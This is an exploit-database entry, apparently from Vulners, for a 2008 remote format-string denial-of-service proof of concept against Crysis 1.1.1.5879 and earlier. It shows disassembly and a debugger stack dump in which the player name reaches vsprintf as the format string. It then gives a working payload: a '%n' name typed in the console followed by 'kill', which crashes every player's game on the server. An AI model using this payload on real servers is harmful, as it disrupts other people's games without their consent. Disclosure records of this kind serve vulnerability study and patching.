Crysis <= 1.1.1.5879 Remote Format String Denial of Service PoC

🗓️ 29 Feb 2008 00:00:00Reported by RootType

Crysis <= 1.1.1.5879 Remote Format String Denial of Service PoC. Game's engine passes debug strings leading to format string vulnerability which can be exploited on player's game


                                                The&nbsp;Crysis&nbsp;engine&nbsp;passes&nbsp;along&nbsp;internal&nbsp;debug&nbsp;strings&nbsp;through&nbsp;the&nbsp;game.&nbsp;One&nbsp;of&nbsp;them&nbsp;is&nbsp;passed&nbsp;to&nbsp;vsprintf()&nbsp;in&nbsp;the&nbsp;crt&nbsp;lib:

30503263&nbsp;&nbsp;&nbsp;8D8C24&nbsp;10100000&nbsp;&nbsp;LEA&nbsp;ECX,DWORD&nbsp;PTR&nbsp;SS:[ESP+1010]
3050326A&nbsp;&nbsp;&nbsp;51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSH&nbsp;ECX
3050326B&nbsp;&nbsp;&nbsp;50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSH&nbsp;EAX
3050326C&nbsp;&nbsp;&nbsp;8D5424&nbsp;08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEA&nbsp;EDX,DWORD&nbsp;PTR&nbsp;SS:[ESP+8]
30503270&nbsp;&nbsp;&nbsp;52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSH&nbsp;EDX
30503271&nbsp;&nbsp;&nbsp;FF15&nbsp;F8A17530&nbsp;&nbsp;&nbsp;&nbsp;CALL&nbsp;DWORD&nbsp;PTR&nbsp;DS:[&lt;&amp;MSVCR80.vsprintf&gt;]&nbsp;&nbsp;;&nbsp;MSVCR80.vsprintf

0032CAD8&nbsp;&nbsp;&nbsp;30503277&nbsp;&nbsp;w2P0&nbsp;&nbsp;/CALL&nbsp;to&nbsp;vsprintf&nbsp;from&nbsp;cryactio.30503271
0032CADC&nbsp;&nbsp;&nbsp;0032CAE8&nbsp;&nbsp;è&amp;Ecirc;2.&nbsp;&nbsp;|buffer&nbsp;=&nbsp;0032CAE8
0032CAE0&nbsp;&nbsp;&nbsp;0032DAF8&nbsp;&nbsp;&amp;oslash;&amp;Uacute;2.&nbsp;&nbsp;|format&nbsp;=&nbsp;&quot;Pathfinding&nbsp;in&nbsp;animation&nbsp;graph&nbsp;failed&nbsp;(LONGPOKE%SAAAAAAAA)&nbsp;-&nbsp;no&nbsp;path&nbsp;from&nbsp;'Parachute_Float_NW'&nbsp;to&nbsp;'X_Combat_IdleAimingNull_NW'&quot;&nbsp;&nbsp;;&nbsp;Your&nbsp;name&nbsp;is&nbsp;passed&nbsp;in&nbsp;as&nbsp;part&nbsp;of&nbsp;the&nbsp;format.&nbsp;This&nbsp;is&nbsp;a&nbsp;nono...
0032CAE4&nbsp;&nbsp;&nbsp;0032DAF8&nbsp;&nbsp;&amp;oslash;&amp;Uacute;2.&nbsp;&nbsp;\arglist&nbsp;=&nbsp;0032DAF8

POC:
Type&nbsp;name&nbsp;%n\x00\x00\x00\x00&nbsp;in&nbsp;the&nbsp;console.
Type&nbsp;kill.
Upon&nbsp;your&nbsp;death,&nbsp;everyone&nbsp;in&nbsp;the&nbsp;server&nbsp;will&nbsp;instantly&nbsp;execute&nbsp;the&nbsp;format&nbsp;string&nbsp;vulnerability.&nbsp;If&nbsp;you&nbsp;are&nbsp;in&nbsp;third&nbsp;person&nbsp;in&nbsp;a&nbsp;vehicle,&nbsp;it&nbsp;will&nbsp;be&nbsp;exploited&nbsp;on&nbsp;your&nbsp;game&nbsp;as&nbsp;well.

-LONGPOKE&lt;ATOM&gt;

29 Feb 2008 00:00Current

7.1High risk

Vulners AI Score7.1

Crysis &lt;= 1.1.1.5879 Remote Format String Denial of Service PoC

Crysis <= 1.1.1.5879 Remote Format String Denial of Service PoC